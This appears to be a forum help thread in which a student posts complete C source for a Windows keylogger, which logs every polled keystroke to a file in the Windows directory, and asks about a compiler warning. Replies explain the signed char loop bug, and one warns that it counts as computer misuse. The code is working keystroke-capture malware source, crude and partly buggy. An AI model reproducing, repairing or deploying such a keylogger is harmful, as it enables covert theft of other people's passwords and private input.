Please note before reading this, this is a keylogger, no its not used for malicious purposes as it only runs with the programing prompt open and stops as soon as the program is exited. Just trying to show my computer teachers something, because he's an idiot who gets his lessons straight out of a text book :confused: I tried it up to the non-working line and the file worked fine except it would hog the processor, and when compiled would stop working, so there goes that solution lol. Anyways what am I doing wrong in that line. I checked at least 15 times to make sure I nested everything right but everything seems to be in check.

My problem however is the line highlighted in bold. Dev C++ 4.9.8.0 gives me a "[WARNING] comparison"

#include <stdio.h>
#include <windows.h>
#include <Winuser.h>

cout <<"\n Your keys are now being saved to a file called Key.txt in your C:\ Windows Folder. As soon as you exit this program it wll stop logging your keys";


void keys(int key,char *file)
{

FILE *key_file;

key_file = fopen(file,"a+");



if (key==8)

fprintf(key_file,"%s","[del]");

if (key==13)

fprintf(key_file,"%s","\n");

if (key==32)

fprintf(key_file,"%s"," ");

if (key==VK_CAPITAL)

fprintf(key_file,"%s","[Caps]");

if (key==VK_TAB)

fprintf(key_file,"%s","[TAB]");

if (key ==VK_SHIFT)

fprintf(key_file,"%s","[SHIFT]");

if (key ==VK_CONTROL)

fprintf(key_file,"%s","[CTRL]");

if (key ==VK_PAUSE)

fprintf(key_file,"%s","[PAUSE]");

if (key ==VK_KANA)

fprintf(key_file,"%s","[Kana]");

if (key ==VK_ESCAPE)

fprintf(key_file,"%s","[ESC]");

if (key ==VK_END)

fprintf(key_file,"%s","[END]");

if (key==VK_HOME)

fprintf(key_file,"%s","[HOME]");

if (key ==VK_LEFT)

fprintf(key_file,"%s","");

if (key ==VK_UP)

fprintf(key_file,"%s","[UP]");

if (key ==VK_RIGHT)

fprintf(key_file,"%s","");

if (key ==VK_DOWN)

fprintf(key_file,"%s","[DOWN]");

if (key ==VK_SNAPSHOT)

fprintf(key_file,"%s","[PRINT]");

if (key ==VK_NUMLOCK)

fprintf(key_file,"%s","[NUM LOCK]");

if (key ==190 || key==110)

fprintf(key_file,"%s",".");

if (key >=96 && key <= 105){

key = key - 48;

fprintf(key_file,"%s",&key);

}

if (key >=48 && key <= 59)

fprintf(key_file,"%s",&key);



if (key !=VK_LBUTTON || key !=VK_RBUTTON){

if (key >=65 && key <=90){ 

if (GetKeyState(VK_CAPITAL))
     
fprintf(key_file,"%s",&key);
else

{

key = key +32;

fprintf(key_file,"%s",&key);

}
}

}

fclose(key_file);





}

int main()
{



char i;


char test[MAX_PATH];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");

while(1){ 

for(i=8;i<=190;i++){  [B] //THIS IS WHERE MY COMPILER ERROR IS[/B]
  
if (GetAsyncKeyState(i) == -32767)

{
  
     
     keys (i,test);
 
     

}
}

}

}
Comments
Whatever your "excuse", it's still gonna be seen as computer mis-use, and your ass busted out of school

Yes Mr. WaltP is correct, when you declare a char it is automatically taken as signed char whose range it think is from -127 to 128 (not very sure).

Try declaring "i" as unsigned char and then try compiling it.

when you declare a char it is automatically taken as signed char

That's machine dependent. It could be signed or unsigned.

That's machine dependent. It could be signed or unsigned.

Hmm i thought it was compiler dependent...
but then again you might be right.

Hmm i thought it was compiler dependent...
but then again you might be right.

How does it differ when we say "compiler dependent" vs "machine dependent"?

Yes Mr. WaltP is correct, when you declare a char it is automatically taken as signed char whose range it think is from -127 to 128 (not very sure).

Try declaring "i" as unsigned char and then try compiling it.

I think the range is -128 to +127 :)

This article has been dead for over six months. Start a new discussion instead.